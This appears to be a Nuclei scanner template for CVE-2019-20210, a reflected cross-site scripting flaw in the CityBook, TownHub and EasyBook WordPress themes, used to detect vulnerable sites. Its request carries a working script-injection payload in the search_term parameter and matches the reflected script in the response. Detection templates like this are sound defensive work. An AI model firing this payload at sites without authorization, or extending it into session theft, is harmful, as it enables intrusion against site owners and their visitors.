id: CVE-2019-20210

info:
  name: WordPress CTHthemes - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    WordPress CTHthemes CityBook before 2.3.4, TownHub before 1.0.6, and EasyBook before 1.2.2 themes contain reflected cross-site scripting vulnerabilities via a search query.
  impact: |
    Successful exploitation of this vulnerability can lead to session hijacking, defacement of the website, theft of sensitive information, or the installation of malware on the victim's system.
  remediation: |
    Update to the latest version of the WordPress CTHthemes plugin, which includes a fix for this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/10013
    - https://wpvulndb.com/vulnerabilities/10018
    - https://cxsecurity.com/issue/WLB-2019120112
    - https://nvd.nist.gov/vuln/detail/CVE-2019-20210
    - https://themeforest.net/item/citybook-directory-listing-wordpress-theme/21694727
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-20210
    cwe-id: CWE-79
    epss-score: 0.00382
    epss-percentile: 0.59724
    cpe: cpe:2.3:a:cththemes:citybook:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: cththemes
    product: citybook
    framework: wordpress
  tags: cve,cve2019,wp-theme,wpscan,wordpress,citybook,xss,cththemes,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?search_term=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&location_search=&nearby=off&address_lat=&address_lng=&distance=10&lcats%5B%5D="

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"
          - "/wp-content/themes/citybook"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a00463044022002d6487f87688e05c39dc95cf78811119417e1403779bd0899514734ba020cf30220274a3d6dba869e557b9537e1dd3f9064c8510184875fe6ce0072144e3c92e7dc:922c64590222798bb761d5b6d8e72950